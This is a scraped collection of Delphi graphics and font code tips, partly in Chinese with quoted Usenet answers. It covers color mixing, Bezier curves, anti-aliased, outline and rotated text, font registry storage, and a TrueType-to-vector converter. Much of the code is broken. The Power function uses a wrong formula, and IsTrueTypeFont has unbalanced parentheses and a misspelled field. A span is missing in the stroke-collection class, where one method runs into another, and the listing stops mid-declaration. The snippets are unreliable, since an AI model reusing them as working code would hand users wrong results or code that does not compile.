function MMix(Cols: array of TColor): TColor;
var
I, R, G, B,
Length: Integer;
begin
Length := High(Cols) - Low(Cols) +
1;
R := 0; G := 0; B := 0;
for I := Low(Cols) to High(Cols)
do
begin
R := R +
GetRValue(Cols[I]);
G := G +
GetGValue(Cols[I]);
B := B + GetBValue(Cols[I]);
end;
R := R div Length;
G := G div Length;
B := B
div Length;
MMix := RGB(R, G, B);
end;

function Log(Base, Value: Real): Real;
begin
Log := Ln(Value) /
Ln(Base);
end;

function Power(Base, Exponent: Real): Real;
begin
Power := Ln(Base) * Exp(Exponent);
end;

function Modulator(Val, Max: Real): Real;
begin
Modulator := (Val / Max - Round(Val / Max)) * Max;
end;

function M(I, J: Integer): Integer;
begin
M := ((I mod J) + J)
mod J;
end;

function Tan(Angle2D: Real): Real;
begin
Tan := Sin(Angle2D) /
Cos(Angle2D);
end;

procedure Limit(var Value: Integer; Min, Max: Integer);
begin
if Value < Min then Value := Min;
if Value > Max then Value := Max;
end;

function Exp2(Exponent: Byte): Word;
var
Temp, I:
Word;
begin
Temp := 1;
for I := 1 to Exponent
do
Temp := Temp * 2;
Result := Temp;
end;

function GetSysDir: String;
var
Temp: array[0..255] of Char;
begin
GetSystemDirectory(Temp, 256);
Result := StrPas(Temp);
end;

function GetWinDir: String;
var
Temp: array[0..255] of Char;
begin
GetWindowsDirectory(Temp, 256);
Result := StrPas(Temp);
end;

end.


画贝塞尔曲线

在Delph下调用PolyBezier();
procedure TForm1.Button1Click(Sender:
TObject);
var point:array[0..6] of Tpoint;
h:HDC;
begin
h:=getdc(form1.handle);
point[0].x:=25;
point[0].y:=25;
point[1].x:=35;
point[1].y:=170;
point[2].x:=130;point[2].y:=120;
point[3].x:=150;point[3].y:=150;
point[4].x:=170;point[4].y:=280;
point[5].x:=250;point[5].y:=115;
point[6].x:=250;point[6].y:=225;
polybezier(h,point,7);
end;

PolyBezier 画一系列相连的曲线，每一段包含4个point，第一点是曲线起点，
第二点，第三点指定曲线形状的控制点，第四点是曲线终点。
本例中，1为起点，4为中点，7为终点，2，3，5，6为控制点。
OR 调用canvas.polybezier();

*** Drawing CURVES in Delphi? ***
Solution 1
From: dmitrys@phyast.la.asu.edu (Dmitry Streblechenko)

In article <4uijv6$kf7@newsbf02.news.aol.com,
gtabsoft2@aol.com (GTABSoft2) wrote:
Does anyone have source code or info on drawing Bezier curves? I must have
it for my component. Please respond to my email address.
I did this some time ago; I was too lazy to learn how to draw Bezier curves using Win API, so I did it using Polyline().

Note I used floating type values for points coordinates, (I used some kind of virtual screen), just change them to integer.

--------------------------------------------------------------------------------

PBezierPoint = ^TBezierPoint;
TBezierPoint = record
X,Y:double; //main node
Xl,Yl:double; //left control point
Xr,Yr:double; //right control point
end;

//P1 and P2 are two TBezierPoint's, t is between 0 and 1:
//when t=0 X=P1.X, Y=P1.Y; when t=1 X=P2.X, Y=P2.Y;

procedure BezierValue(P1,P2:TBezierPoint; t:double; var
X,Y:double);
var
t_sq,t_cb,r1,r2,r3,r4:double;
begin
t_sq :=
t * t;
t_cb := t * t_sq;
r1 := (1 - 3*t + 3*t_sq -   t_cb)*P1.X;
r2
:= (    3*t - 6*t_sq + 3*t_cb)*P1.Xr;
r3 := (          3*t_sq -
3*t_cb)*P2.Xl;
r4 :=
(
t_cb)*P2.X;
X  := r1 + r2 + r3 +
r4;
r1 := (1 - 3*t + 3*t_sq -
t_cb)*P1.Y;
r2 := (    3*t - 6*t_sq +
3*t_cb)*P1.Yr;
r3 :=
(          3*t_sq -
3*t_cb)*P2.Yl;
r4 :=
(
t_cb)*P2.Y;
Y  := r1 + r2 + r3 +
r4;
end;

--------------------------------------------------------------------------------

To draw Bezier curve, split interval between P1 and P2 into several intervals based on how coarse you want your Bezier curve look (3 - 4 pixels looks Ok), then in a loop create an array of points using procedure above with t from 0 to 1 and draw that array of points using polyline().

Solution 2
From: saconn@iol.ie (Stephen Connolly)

gtabsoft2@aol.com (GTABSoft2) wrote:
Does anyone have source code or info on drawing Bezier curves? I must have
it for my component. Please respond to my email address.
I'm posting this here - 'cause: 1. I've seen people ask for this before, 2. The reference is so old I just had to. (BTW I have older references than this ;-P)

I'm sure that there is a standard Borland disclaimer to go with this:

--------------------------------------------------------------------------------

(********************************************************************)
(* GRAPHIX TOOLBOX 4.0 *)
(* Copyright (c) 1985, 87 by Borland International, Inc. *)
(********************************************************************)
unit GShell;

interface

{-------------------------------- snip ----------------------------}

procedure Bezier(A : PlotArray; MaxContrPoints : integer;
var B : PlotArray; MaxIntPoints : integer);

implementation

{-------------------------------- snip ---------------------------}

procedure Bezier{(A : PlotArray; MaxContrPoints : integer;
var B : PlotArray; MaxIntPoints : integer)};
const
MaxControlPoints = 25;
type
CombiArray = array[0..MaxControlPoints] of Float;
var
N : integer;
ContrPoint, IntPoint : integer;
T, SumX, SumY, Prod, DeltaT, Quot : Float;
Combi : CombiArray;

begin
MaxContrPoints := MaxContrPoints - 1;
DeltaT := 1.0
/ (MaxIntPoints - 1);
Combi[0] := 1;
Combi[MaxContrPoints]
:= 1;
for N := 0 to MaxContrPoints - 2 do
Combi[N + 1] := Combi[N] * (MaxContrPoints - N) / (N + 1);
for
IntPoint := 1 to MaxIntPoints do
begin
T :=
(IntPoint - 1) * DeltaT;
if T <= 0.5
then
begin
Prod := 1.0 -
T;
Quot :=
Prod;
for N := 1 to MaxContrPoints
- 1 do
Prod := Prod *
Quot;
Quot := T /
Quot;
SumX := A[MaxContrPoints +
1, 1];
SumY := A[MaxContrPoints +
1, 2];
for N := MaxContrPoints
downto 1 do
begin
SumX := Combi[N
- 1] * A[N, 1] + Quot *
SumX;
SumY := Combi[N
- 1] * A[N, 2] + Quot * SumY;
end;
end
else
begin
Prod :=
T;
Quot :=
Prod;
for N := 1 to MaxContrPoints
- 1 do
Prod := Prod *
Quot;
Quot := (1 - T) /
Quot;
SumX := A[1,
1];
SumY := A[1,
2];
for N := 1 to MaxContrPoints
do
begin
SumX := Combi[N]
* A[N + 1, 1] + Quot *
SumX;
SumY := Combi[N]
* A[N + 1, 2] + Quot * SumY;
end;
end;
B[IntPoint, 1]
:= SumX * Prod;
B[IntPoint, 2] := SumY * Prod;
end;
end; { Bezier }

end. { GShell }


光滑字体

先将文字放大一倍字号画到临时内存中, 再用AntiAlias算法缩小, 绝对光滑.
而且速度很快.我这有个AntiAlias算法的例子, 很简单但很说明问题:
其中核心代码如下:
procedure TAntiAliasForm.SeparateColor(color : TColor;
var r, g, b : Integer);
begin
r := color Mod 256;
g := (color Div 256) Mod 256;
b := color Div 65536;
end;

procedure TAntiAliasForm.CmdGoClick(Sender: TObject);
var
txt : String;
wid, hgt, x, y, i, j : Integer;
r, g, b, totr, totg, totb : Integer;
begin
txt := InputText.Text;

// Use the correct colors.
big_bm.Canvas.Font.Color := InputText.Font.Color;
big_bm.Canvas.Brush.Color := InputText.Color;

// Set the new font.
big_bm.Canvas.Font := InputText.Font;
big_bm.Canvas.Font.Size := 2 * InputText.Font.Size;
big_bm.Canvas.Refresh; // Make the font take effect.

    // Make big_bm and BigBox big
enough.
wid :=
big_bm.Canvas.TextWidth(txt);
hgt :=
Round(big_bm.Canvas.TextHeight(txt) * 1.1);
big_bm.Width
:= wid;
big_bm.Height := hgt;
big_bm.Canvas.Refresh;
BigBox.Width :=
wid;
BigBox.Height := hgt;
BigBox.Refresh;

// Draw the text in big_bm.
big_bm.Canvas.TextOut(0, 0, txt);

// Display it in BigBox.
BigBox.Invalidate;

    // ********************************
// Anti-alias the text into out_bm.
//
********************************
// Create a new
out_bm.
//
out_bm.Free;
- Removed by RLV on 12/29/97
//  out_bm :=
TBitmap.Create;       - Removed by RLV on
12/29/97
out_bm.Width := wid Div 2;
out_bm.Height := hgt Div 2;
out_bm.Canvas.Refresh;

// The "- 3" keeps us from falling off the edge
// of BigBox. Over the edge Point would
// return -1 and mess up the colors.
for y := 0 to (big_bm.Height - 3) Div 2 do
begin
for x := 0 to (big_bm.Width - 3) Div 2 do
begin
// Compute the value of output pixel (x, y).
totr := 0;
totg := 0;
totb := 0;
for j := 0 to 1 do
begin
for i := 0 to 1 do
begin
SeparateColor(big_bm.Canvas.Pixels
[2 * x + i, 2 * y + j], r, g, b);
totr := totr + r;
totg := totg + g;
totb := totb + b;
end;
end;
out_bm.Canvas.Pixels[x, y] :=
RGB(totr Div 4, totg Div 4, totb Div 4);
end;
end;
OutBox.Invalidate;

// Remove the hourglass cursor.
Screen.Cursor := crDefault;
end;

当然, 它的代码还可以进一步优化, 比如用scanline代替pixels, 速度可以进一步
提高.


输出空心字体

procedure TForm1.Button1Click(Sender: TObject);
begin
Canvas.Font.Name := 'Times New Roman'; //这里的字体一定要是TrueType Font
Canvas.Font.size := 72;
Canvas.Font.style :=
[fsItalic,fsBold];
beginpath(canvas.handle); //开始捕获
Canvas上绘制的轮廓
SetBkMode( Canvas.Handle, TRANSPARENT
);
canvas.TextOut(20,40,'Hello');
endpath(canvas.handle); //结束捕获

  Canvas.Pen.Color := clred;
StrokePath(canvas.handle);
//将捕获的轮廓用当前的Pen画到Canvas上
end;


用字体开透明窟窿

procedure TForm1.Button1Click(Sender: TObject);
begin
canvas.Font.Name := 'Times New Roman';
canvas.Font.size :=
72;
canvas.Font.style := [fsItalic,fsBold];
beginpath(canvas.handle);
SetBkMode(Canvas.Handle,
TRANSPARENT ); //试验一下不用这行语句，会得到很有意思的结果
canvas.Polygon([Point(0,0),Point(Width,0),
Point(Width,Height),Point(0,Height),
Point(0,0)]); //试验不用该语句看看结果如何
canvas.TextOut(20,40,'Hello');
endpath(canvas.handle);

  SetWindowRgn( Handle, PathToRegion(canvas.Handle), true
);
end;


输出旋转字体

procedure AngleTextOut(CV: TCanvas; const sText: String; x, y, angle:integer);
var
LogFont: TLogFont;
SaveFont: TFont;

begin
SaveFont := TFont.Create;
SaveFont.Assign(CV.Font);
GetObject(SaveFont.Handle, sizeof(TLogFont),
@LogFont);
with LogFont do
begin
lfEscapement := angle *10;
lfPitchAndFamily := FIXED_PITCH
or FF_DONTCARE;
end; {with}
CV.Font.Handle :=
CreateFontIndirect(LogFont);
SetBkMode(CV.Handle,
TRANSPARENT);
CV.TextOut(x, y, sText);
CV.Font.Assign(SaveFont);
SaveFont.Free;
end;


通过注册表读取设置字体

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, Registry;

type
TForm1 = class(TForm)
Button1:
TButton;
Button2: TButton;
procedure
WriteFontToRegistry(Sender: TObject);
procedure
FormCreate(Sender: TObject);
procedure
ReadFontFromRegistry(Sender: TObject);
procedure
FormDestroy(Sender: TObject);
private
{
Private-Deklarationen }
Font : TFont;
public
{ Public-Deklarationen }
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

type
TFontRegData = record
Name : string[100];
Size :
integer;
Color : TColor;
Style : set of
TFontStyle;
Charset : byte;
Height : integer;
Pitch : TFontPitch;
PixelsPerInch : integer;
end;

// Before writing font data to the registry you have to copy all needed
// data to a record of fixed size

procedure PrepareFontDataForRegistry(Font : TFont;var RegData :
TFontRegData);
begin
{ Copy font data to record for saving to
registry }
with RegData do
begin
Name:=Font.Name;
Size:=Font.Size;
Color:=Font.Color;
Style:=Font.Style;
Charset:=Font.Charset;
Height:=Font.Height;
Pitch:=Font.Pitch;
PixelsperInch:=Font.PixelsPerInch;
end;
end;

procedure PrepareFontfromRegData(Font : TFont;RegData :
TFontRegData);
begin
{ Set font data to values read from registry
}
with Font do
begin
Name:=RegData.Name;
Size:=RegData.Size;
Color:=RegData.Color;
Style:=RegData.Style;
Charset:=RegData.Charset;
Height:=RegData.Height;
Pitch:=RegData.Pitch;
PixelsperInch:=RegData.PixelsPerInch;
end;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
Font:=TFont.Create;
Font.Name:='Arial';
end;

procedure TForm1.WriteFontToRegistry(Sender: TObject);
var
rd : TFontRegData;
reg : TRegistry;

begin
PrepareFontDataForRegistry(Font,rd);
Reg:=TRegistry.Create;
Reg.OpenKey('Software\Test',true);
Reg.WriteBinaryData('FontData',rd,Sizeof(rd));
reg.Free;
end;

procedure TForm1.ReadFontFromRegistry(Sender: TObject);
var
rd : TFontRegData;
reg : TRegistry;

begin
Reg:=TRegistry.Create;
Reg.OpenKey('Software\Test',true);
if Reg.ValueExists('FontData')
then
Reg.ReadBinaryData('FontData',rd,Sizeof(rd));
reg.Free;
PrepareFontFromRegData(Font,rd);
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
Font.Free;
end;

end.


当前系统字体列表

 Screen.fonts


判断TrueType字体

function IsTrueTypeFont(FontName : string) : boolean;
const
PITCH_MASK: byte = $0F;
var
TxMetric: TTextMetric;
TempCanvas : TCanvas;
PitchTest : byte;
begin
TempCanvas
:= TCanvas.Create;
TempCanvas.Handle :=
CreateCompatibleDC(0));
TempCanvas.Font.Name := FontName;
GetTextMetrics(TempCanvas.Handle, TxMetric);
PitchTest := TxMetric.tmPitchAndFamily and PITCH_MASK;
Result :=
((PitchTest and TMPF_TRUETYPE) <> 0));
TempCanvas.free;
end;
/////////////////////////////////////
var

pitch: Byte
MyCanvas: TCanvas;
TextMet: TTextMetric;

begin
Result:=False;
MyCanvas:= TCanvas.Create;
Try
MyCanvas.Handle:= CreateCompatibleDC (0);
MyCanvas.Font.Name:=FontName;
GetTextMetrics (MyCanvas.Handle,
TextMet);
Pitch := TextMet.tmPitchAndFamyly and $07;
Result:= ((Pitch and TMPF_TRUETYPE)<>0);

finally
MyCanvas.Free;
end;

end;


判断是否有TrueType字体

 function IsTrueTypeAvailable : bool;
var
{$IFDEF WIN32}
rs : TRasterizerStatus;
{$ELSE}
rs : TRasterizer_Status;
{$ENDIF}
begin
result := false;
if not GetRasterizerCaps(rs, sizeof(rs)) then exit;
if rs.WFlags and TT_AVAILABLE <> TT_AVAILABLE then exit;
if rs.WFlags and TT_ENABLED <> TT_ENABLED then exit;
result := true;
end;


枚举当前字体

function EnumFontFamilyProc(var lf :
TLogFont;
var tm :
TNewTextMetric;
FontType :
integer;
var Memo : TMemo) : integer
{$IFDEF WIN32} stdcall; {$ELSE} ; export;
{$ENDIF}
begin
Memo.Lines.Add(StrPas(@lf.lfFaceName)
+
#32 + IntToStr(lf.lfHeight));
result := 1;
end;

function EnumFontFamiliesProc(var lf :
TLogFont;
var tm :
TNewTextMetric;
FontType :
integer;
var Memo : TMemo) : integer
{$IFDEF WIN32} stdcall; {$ELSE} ; export;
{$ENDIF}
begin
if FontType = TRUETYPE_FONTTYPE then
begin
Memo.Lines.Add(StrPas(@lf.lfFaceName) + #32 + 'All
Sizes');
end else
EnumFontFamilies(Printer.Handle,
@lf.lfFaceName,
@EnumFontFamilyProc,
LongInt(@Memo));
result := 1;
end;

procedure TForm1.Button1Click(Sender: TObject);
var
tm : TTextMetric;
i : integer;
begin
if PrintDialog1.Execute then begin
EnumFontFamilies(Printer.Handle,
nil,
@EnumFontFamiliesProc,
LongInt(@Memo1));
end;
end;


如何生成旋转字体

 procedure TForm1.Button1Click(Sender: TObject);
var lf:tlogfont;
tf:tfont;
begin
tf:=tfont.Create;
tf.Assign(button1.font);
getobject(tf.handle,sizeof(lf),@lf);
lf.lfEscapement:=450;
lf.lfOrientation:=450;
tf.Handle:=createfontindirect(lf);
button1.parentfont:=false;
button1.Font.Assign(tf);
tf.free;
end;


如何获得以像素计算的字体宽度

BOOL GetTextExtentPoint32(

HDC hdc, // handle of device context
LPCTSTR lpString, // address of text string
int cbString, // number of characters in string
LPSIZE lpSize // address of structure for string size
);
只能获得字符串的宽度


获得字符的矢量

下面是一个从TTF转向Vector的控件源代码。注意：不要理它的UniCode:)

其中，CharCode是字符代码，对于双字节的文字，用以下代码生成；

function CharCode(value:string):UINT;
begin
if Length(value)=1 then
begin
CharCode:=Ord(Value[1]);
end
else if (Length(value)=2) and(Value[1] in LeadBytes) then
begin
CharCode:=(Ord(Value[1]) shl 8 )or Ord(Value[2]);
end
else
begin
Raise(Exception.Create(value+'不是合法的中西文字符!'));
Exit;
end;

{
UTTF2Vct.pas (was UTTFToVector.pas; changed for 8.3 compatibility )

TTF to Vector converter
Copyright (c) 1996-97 by Marco Cocco. All rights reseved.
Copyright (c) 1996-97 by D3K Artisan Of Ware. All rights reseved.

Please send comments to d3k@italymail.com
mcocco@hotmail.com

URL: http://free.websight.com/Cocco2/

Do you need additional features ? Feel free to ask for it!

******************************************************************************
* Permission to use, copy, modify, and distribute this software and its *
* documentation without fee for any non-commerical purpose is hereby granted,*
* provided that the above copyright notice appears on all copies and that *
* both that copyright notice and this permission notice appear in all *
* supporting documentation. *
* *
* NO REPRESENTATIONS ARE MADE ABOUT THE SUITABILITY OF THIS SOFTWARE FOR ANY *
* PURPOSE. IT IS PROVIDED "AS IS" WITHOUT EXPRESS OR IMPLIED WARRANTY. *
* NEITHER MARCO COCCO OR D3K SHALL BE LIABLE FOR ANY DAMAGES SUFFERED BY *
* THE USE OF THIS SOFTWARE. *
******************************************************************************
* D3K - Artisan Of Ware - A Marco Cocco's Company *
* Casella Postale 99 - 09047 Selargius (CA) - ITALY *
******************************************************************************

History
------------------------------------------------------------------
17/Dec/1996 v1.00 Start of implementation
19/Dec/1996 v1.01 Added some sparse comments
20/Dec/1996 v1.02 Added support for Delphi 1.0/Win3.x
20/Dec/1996 v2.00 Converterd from pure class to component
20/Dec/1996 v2.01 Added support for UNICODE (Delphi 2.0 only)
03/Jan/1997 v2.02 Coordinate scaling causing runtime errors has been fixed.
Bug in memory allocation has been fixed (Delphi 1.0).
Now works even with R+, Q+
04/Jan/1997 v2.03 Added automatic conversion of glyphs to a GDI region
(useful for clipping & special effects)
14/Jan/1997 v2.04 Some minor changes
15/Jan/1997 v2.05 Some minor changes

To do:
- Test for new routines added in v2.03
- Glyph scaling to caller defined dimensions (!)
- Baseline coordinate retrieval (!)
- UNICODE tests (need WinNT to do this) (!)
- Increase performance and spline precision (?)
- Triangle subdivision for texture mapping (?)
- Char to char morphing (?)
- 3D Extrusion (?)

(!) = to do as soon as possible
(?) = may be
}

unit UTTF2Vct;

interface

uses
{$IFDEF WIN32}
Windows,
{$ELSE}
WinTypes, WinProcs,
{$ENDIF}
Classes, Graphics, SysUtils;

type
{ Font stroke: a Font Stroke is the "basic" element of a character glyph,
that is a glyph is a sequence of connected strokes (lines).
First point of first stroke connects to last point of last stroke.
All strokes with equal GlyphNumber value come from the same glyph.
Strokes of the same glyph are stored sequentially, i.e. stroke 0,
stroke 1, ... stoke n-1. }
PFontStroke = ^TFontStroke;
TFontStroke = record
GlyphNumber: integer;
Pt1, Pt2: TPoint; { Note: Strokes[i].Pt2=Strokes[i+1].Pt1
(also Strokes[i].Pt1=Strokes[i-1].Pt2)
when Strokes[i].GlyphNumber = Strokes[i+1].GlyphNumber }
end;

TEnumStrokesCallback = function( Idx: integer; const Stroke: TFontStroke ): boolean of object;

TStrokeCollection = class( TList )
private
protected
function GetNumGlyphs: integer;
function GetFontStroke( Idx: integer ): TFontStroke;
procedure FreeStrokes;
function GetBounds: TRect;
public
constructor Create; virtual;
destructor Destroy; override;

{ Returns the index of the first stroke for the glyph number GlyphNumber }
function StartOfGlyph( GlyphNumber: integer ): integer;
{ Returns the count of strokes for the glyph number GlyphNumber. }
function GlyphNumStrokes( GlyphNumber: integer ): integer;
{ Enumerates all strokes of all glyphs }
procedure EnumStrokes( Callback: TEnumStrokesCallback );

{ Returns the number of glyphs }
property NumGlyphs: integer read GetNumGlyphs;
{ Returns the stroke number Idx. Use StrartOfGlyph to determine
the index of the first stroke for a given glyph.
Use GlyphNumStrokes to determine the number of strokes a glyph is. }
property Stroke[Idx:integer]: TFontStroke read GetFontStroke;
{ Returns the smallest rectangle that completely bounds all glyphs }
property Bounds: TRect read GetBounds;
end;

TTTFToVectorConverter = class( TComponent )
private
FFont: TFont;
FSplinePrecision: integer;
FUNICODE: boolean;
protected
procedure SetFont( Value: TFont ); virtual;
procedure SetSplinePrecision( Value: integer );
public
constructor Create( Owner: TComponent ); override;
destructor Destroy; override;

      function GetCharacterGlyphs( CharCode: integer
): TStrokeCollection;
function
StrokesToRegion(Strokes:TStrokeCollection;SizeX, SizeY, OfsX, OfsY: integer ):
HRGN;
function GetCharacterRegion( CharCode,
SizeX, SizeY, OfsX, OfsY: integer ): HRGN;

published
property Font: TFont read FFont write SetFont;
property Precision: integer read FSplinePrecision write SetSplinePrecision default 5;
{$IFDEF WIN32}
{ Set to TRUE if you wish retrieve outlines for UNICODE fonts
NEVER TESTED!!! }
property UNICODE: boolean read FUNICODE write FUNICODE default false;
{$ENDIF}
end;

procedure Register;

implementation

{$IFNDEF WIN32}
type
DWORD = longint;

  PTTPolygonHeader = ^TTTPolygonHeader;
TTTPolygonHeader =
packed record
cb: DWORD;
dwType:
DWORD;
pfxStart: TPointFX;
end;

const
GDI_ERROR = -1;
{$ENDIF}

{ *** TStrokeCollection ****************** }

constructor TStrokeCollection.Create;
begin
inherited Create;
end;

destructor TStrokeCollection.Destroy;
begin
FreeStrokes;
inherited Destroy;
end;

procedure TStrokeCollection.FreeStrokes;
var i:
integer;
begin
for i := 0 to Count-1 do
begin
{$IFDEF WIN32}
FreeMem(
Items[i] );
{$ELSE}
FreeMem(
Items[i], sizeof(TFontStroke) );
{$ENDIF}
Items[i] := nil;
end;
Pack;
end;

function TStrokeCollection.GetNumGlyphs: integer;
begin
if Count = 0 then
Result := 0
else
Result := PFontStroke(Items[Count-1])^.GlyphNumber+1;
end;

function TStrokeCollection.StartOfGlyph( GlyphNumber: integer ): integer;
var ng, i: integer;
begin
ng := GetNumGlyphs;
if (GlyphNumber<0) or (GlyphNumber>=ng) then
Result := -1
else
begin
for i := 0 to Count-1 do
if PFontStroke(Items[i])^.GlyphNumber = GlyphNumber then
break;
Result := i;
end;
end;

function TStrokeCollection.GlyphNumStrokes( GlyphNumber: integer ): integer;
var sog, eog: integer;
begin
sog := StartOfGlyph( GlyphNumber );
if sog < 0 then
Result := -1
else
begin
eog := StartOfGlyph( GlyphNumber+1 );
if eog < 0 then
eog := Count;
Result := eog - sog;
end;
end;

function TStrokeCollection.GetFontStroke( Idx: integer ): TFontStroke;
begin
if (Idx>=0) and (Idx Result.Right then
Result.Right := fs^.Pt1.X;
if fs^.Pt2.X < Result.Left then
Result.Left := fs^.Pt2.X;
if fs^.Pt2.X > Result.Right then
Result.Right := fs^.Pt2.X;
if fs^.Pt1.Y < Result.Top then
Result.Top := fs^.Pt1.Y;
if fs^.Pt1.Y > Result.Bottom then
Result.Bottom := fs^.Pt1.Y;
if fs^.Pt2.Y < Result.Top then
Result.Top := fs^.Pt2.Y;
if fs^.Pt2.Y > Result.Bottom then
Result.Bottom := fs^.Pt2.Y;
end;
end;

{ *** TTTFToVectorConverter ************** }

constructor TTTFToVectorConverter.Create( Owner: TComponent
);
begin
inherited Create( Owner );
FFont :=
TFont.Create;
FFont.Name := 'Arial';
FFont.Size :=
28;
FSplinePrecision := 8;
FUNICODE := false;
end;

destructor TTTFToVectorConverter.Destroy;
begin
FFont.Free;
inherited Destroy;
end;

procedure TTTFToVectorConverter.SetFont( Value: TFont );
begin
FFont.Assign( Value );
end;

procedure TTTFToVectorConverter.SetSplinePrecision( Value: integer );
begin
if (Value<1) or (Value>100) then
exit;
FSplinePrecision := Value;
end;

type
TFXPArray = array[0..MaxInt div sizeof(TPOINTFX)-1] of
TPOINTFX;
PFXPArray = ^TFXPArray;

function TTTFToVectorConverter.GetCharacterGlyphs( CharCode: integer ):
TStrokeCollection;
const EMSIZE = 1024; SIZEX = 1024; SIZEY = 1024;
type
TDPoint = record x,y: double end;
var res, bufSize :
integer;
bufPtr, buf:
PTTPolygonHeader;
pc: PTTPolyCurve;
dc, mdc: HDC;
ofont: HFONT;
gm:
TGLYPHMETRICS;
m2: TMAT2;
ps, p1, p2
: TDPoint;
ofs, ofs2, pcSize:
integer;
done: boolean;
i:
integer;
pfxA, pfxB, pfXC: TDPoint;
lpAPFX: PFXPArray;
polyN: integer;
pcType: integer;
first: boolean;

function Fix2Double( AFix: TFixed ): double;
begin
Result := AFix.fract/65536.0 + AFix.value;
end;

function EqualPoints( var p1, p2: TDPoint ): boolean;
begin
Result := (p1.X = p2.X) and
(p1.Y = p2.Y);
end;

procedure NewStroke( GlyphNumber: integer; var Pt1, Pt2: TDPoint );
var ps: PFontStroke;
begin
ps := AllocMem( sizeof(TFontStroke) );
ps^.GlyphNumber := GlyphNumber;
ps^.Pt1.X := round(Pt1.X/EMSIZE*SIZEX);
ps^.Pt1.Y := round(Pt1.Y/EMSIZE*SIZEY);
ps^.Pt2.X := round(Pt2.X/EMSIZE*SIZEX);
ps^.Pt2.Y := round(Pt2.Y/EMSIZE*SIZEY);
Result.Add( ps );
end;

procedure DrawQSpline( APolyN: integer; var pa, pb, pc: TDPoint );
var di, i: double;
p1,p2: TDPoint;
begin
di := 1.0 / FSplinePrecision;
i := di;
p2 := pa;
while i<=1.0 do
begin
if i-di/2 > 1.0-di then
i := 1.0;
p1 := p2;
p2.X := (pa.X-2*pb.X+pc.X)*sqr(i) + (2*pb.X-2*pa.X)*i + pa.X;
p2.Y := (pa.Y-2*pb.Y+pc.Y)*sqr(i) + (2*pb.Y-2*pa.Y)*i + pa.Y;
if not EqualPoints( p1, p2 ) then
NewStroke( APolyN, p1, p2 );
i := i + di;
end;
pc := p2;
end;

begin
Result := nil;
if Font.Handle = 0 then
exit;

dc := GetDC( 0 );
mdc := CreateCompatibleDC( dc );
ReleaseDC( 0, dc );

  FFont.Size := EMSIZE;
ofont := SelectObject( mdc,
FFont.Handle );

  m2.eM11.value := 1; m2.eM11.fract := 1; { Identity matrix }
m2.eM12.value := 0; m2.eM12.fract := 1; {
|1,0|           }
m2.eM21.value := 0; m2.eM21.fract := 1; {
|0,1|           }
m2.eM22.value := 1; m2.eM22.fract := 1;

{$IFDEF WIN32}
if not FUNICODE then
bufSize := GetGlyphOutline( mdc,
CharCode,
GGO_NATIVE,
gm,
0, nil,
m2 )
else
bufSize := GetGlyphOutlineW( mdc,
CharCode,
GGO_NATIVE,
gm,
0, nil,
m2 );
{$ELSE}
bufSize := GetGlyphOutline( mdc,
CharCode,
GGO_NATIVE,
gm,
0, nil,
m2 );
{$ENDIF}
if (bufSize = GDI_ERROR) or (bufSize=0) then
begin
SelectObject( mdc, ofont );
DeleteDC( mdc );
exit;
end;

bufPtr := AllocMem( bufSize );
buf := bufPtr;

{$IFDEF WIN32}
if not FUNICODE then
res := GetGlyphOutline( mdc,
CharCode,
GGO_NATIVE,
gm,
bufSize, pchar(buf),
m2 )
else
res := GetGlyphOutlineW( mdc,
CharCode,
GGO_NATIVE,
gm,
bufSize, pchar(buf),
m2 );
{$ELSE}
res := GetGlyphOutline( mdc,
CharCode,
GGO_NATIVE,
gm,
bufSize, pchar(buf),
m2 );
{$ENDIF}
SelectObject( mdc, ofont );
DeleteDC( mdc );
if (res = GDI_ERROR) or (buf^.dwType <> TT_POLYGON_TYPE) then
begin
{$IFDEF WIN32}
FreeMem( bufPtr );
{$ELSE}
FreeMem( bufPtr, bufSize );
{$ENDIF}
exit;
end;

Result := TStrokeCollection.Create;

done := false;
ofs := 0;
polyN := 0;
while not done do
begin
ps.X := Fix2Double( buf^.pfxStart.X );
ps.Y := Fix2Double( buf^.pfxStart.Y );
pcSize := buf^.cb - sizeof(TTTPOLYGONHEADER);
pchar(pc) := pchar(buf) + sizeof(TTTPOLYGONHEADER);
ofs2 := 0;
p2 := ps;
while not done and (ofs2 < pcSize) do
begin
pcType := pc^.wType;
case pcType of
TT_PRIM_LINE:
begin
lpAPFX := @pc^.apfx[0];
for i := 0 to pc^.cpfx-1 do
begin
p1 := p2;
p2.X := Fix2Double(lpAPFX^[i].X);
p2.Y := Fix2Double(lpAPFX^[i].Y);
if not EqualPoints( p1, p2 ) then
NewStroke( polyN, p1, p2 );
end;
end;
TT_PRIM_QSPLINE:
begin
lpAPFX := @pc^.apfx[0];
pfxA := p2;
for i := 0 to pc^.cpfx-2 do
begin
pfxB.X := Fix2Double(lpAPFX^[i].X);
pfxB.Y := Fix2Double(lpAPFX^[i].Y);
if i < pc^.cpfx-2 then
begin
pfxC.X := Fix2Double(lpAPFX^[i+1].X);
pfxC.Y := Fix2Double(lpAPFX^[i+1].Y);
pfxC.X := (pfxC.X + pfxB.X) / 2;
pfxC.Y := (pfxC.Y + pfxB.Y) / 2;
end
else
begin
pfxC.X := Fix2Double(lpAPFX^[i+1].X);
pfxC.Y := Fix2Double(lpAPFX^[i+1].Y);
end;
DrawQSpline( polyN, pfxA, pfxB, pfxC );
pfxA := pfxC;
end;
p2 := pfxC;
end;
end;
ofs2 := ofs2 + sizeof(TTTPOLYCURVE) + (pc^.cpfx-1)*sizeof(TPOINTFX);
pchar(pc) := pchar(pc) + sizeof(TTTPOLYCURVE) + (pc^.cpfx-1)*sizeof(TPOINTFX);
end;
if not done then
begin
p1 := p2;
p2 := ps;
if not EqualPoints( p1, p2 ) then
NewStroke( polyN, p1, p2 );
ofs := ofs + pcSize + sizeof(TTTPOLYGONHEADER);
done := ofs >= bufSize-sizeof(TTTPolygonHeader);
pchar(buf) := pchar(pc);
inc( polyN );
end;
end;
{$IFDEF WIN32}
FreeMem( bufPtr );
{$ELSE}
FreeMem( bufPtr, bufSize );
{$ENDIF}
end;

function TTTFToVectorConverter.GetCharacterRegion( CharCode, SizeX, SizeY,
OfsX, OfsY: integer ): HRGN;
var strokes:
TStrokeCollection;
cbounds: TRect;
i, j, k, sog: integer;
polys, pps:
^TPoint;
{$ifdef WIN32}
polyCounts,
ppc: ^UINT;
{$else}
polyCounts, ppc:
^word;
{$endif}
stroke:
TFontStroke;
